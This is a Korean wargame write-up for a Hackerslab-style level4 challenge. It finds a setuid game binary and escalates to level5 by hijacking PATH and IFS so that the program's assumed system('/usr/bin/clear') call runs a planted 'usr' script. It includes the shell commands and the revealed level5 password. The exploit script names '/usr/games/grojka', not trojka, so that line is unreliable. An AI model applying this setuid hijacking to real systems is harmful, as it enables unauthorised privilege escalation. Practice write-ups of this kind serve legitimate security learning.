현재레벨: level4
문제:
리눅스에 들어 있는 게임을 종종 즐기곤 하는 김모씨는 하도 심심하여 게임의 소스 파일에 특정 코드를 삽입하여
다시 컴파일 하였다. 김모씨가 왜 그랬는지 이해하는 사람은 아무도 없다. 아무튼 여러분은 김모씨의 어리석은 행위를 이해할 필요는
없고, 이를 이용하여 다음 레벨을 획득하면 된다.
Hint - 어줍잖은 김모씨는 단 한 줄만 소스에 추가했다고 한다.
현재 레벨4이고 레벨5의 패스워드를 알아야한다.
$ find / -user level5 -group level4 -perm -4000 -exec ls -l {} \; 2> /dev/null
-rwsr-x--- 1 level5 level4 30422 Jan 10 2003 /usr/games/trojka
/usr/games/trojka 파일에 setuid가 걸려있다.
실행시켜보자.
$ /usr/games/trojka
썰렁한 테트리스 게임이 시작된다.
게임이 끝나고 몇가지 입력을 받는데 쉘상에서의 프롬프트 같은건 눈을씻고 찾아봐도 없다.
문제를 보면, 김모씨가 게임의 소스를 변경시켜 다시 컴파일 했다고 했다.
바이너리 파일명이 trojka이니 소스파일은 trojka.c 가 아닐까? 찾아보자...
$ find / -name trojka.c 2> /dev/null
$
없다..
그럼 소스파일에 어떠한 변경을 가해서 level5의 권한을 가질 수는 없다.
문제를 다시보면... 힌트에 김모씨는 단지 한줄만의 소스를 추가했다고 한다.
그 한줄이 어떠한 소스인지는 모르지만 김모씨가 어리석은 사람(?)임을 감안하면 분명 보안상에 취약하게 소스에 exec나 system 함수를 사용했을 것이다.
게임을 다시한번 실행시켜보면...
처음 실행시키면 그냥 빈 공백만 생긴다.
거기서 아무 키나 누르면 게임스피드를 선택할 수있는 입력을 받는 부분이 있고 게임이 시작된다.
중요한건 처음 실행시 바로 게임스피드를 선택할 수있는 부분이 나오는게 아니고 공백이 나온다는 것이다.
유닉스에서 쉘의 화면을 깨끗하게 정리하는 명령어가 있다.
/usr/bin/clear
아마 김모씨는 /usr/bin/clear 명령어를 코드에 집어넣고 다른 키 입력을 받은 후에야 다음 단계로 넘어갈 수있게 소스를 바꾸고 컴파일 한거 같다.
만약 /usr/bin/clear 을 코드에 집어 넣었다면 문제는 의외로 간단하게 해결된다.
level4를 뚫을때 사용했던 방법이다.
먼저 clear의 경로를 확인하자
$ ls -l /usr/bin/clear
참고로 해커스랩 프리해킹존에서 which 명령의 실행권을 일반유저에겐 주어져 있지않다.
각자 요령껏 clear의 경로를 확인하면 되겠다.
쉘스크립트를 만들어보자.
$ cat > proc
#!/bin/sh
export PATH=.:$PATH
export IFS='/'
/usr/games/grojka
^D
실행시 usr bin clear 을 실행시키기 때문에 usr 스크립트를 만들어둔다.
$ cat > usr
#!/bin/sh
/bin/pass
^D
$ sh ./proc
다행스럽게 level5의 패스워드가 나왔다.
김모씨는 /usr/bin/clear 명령어를 소스코드에 집어 넣었던 것이다.
level5 password : Slient night,holy night!

댓글을 달아 주세요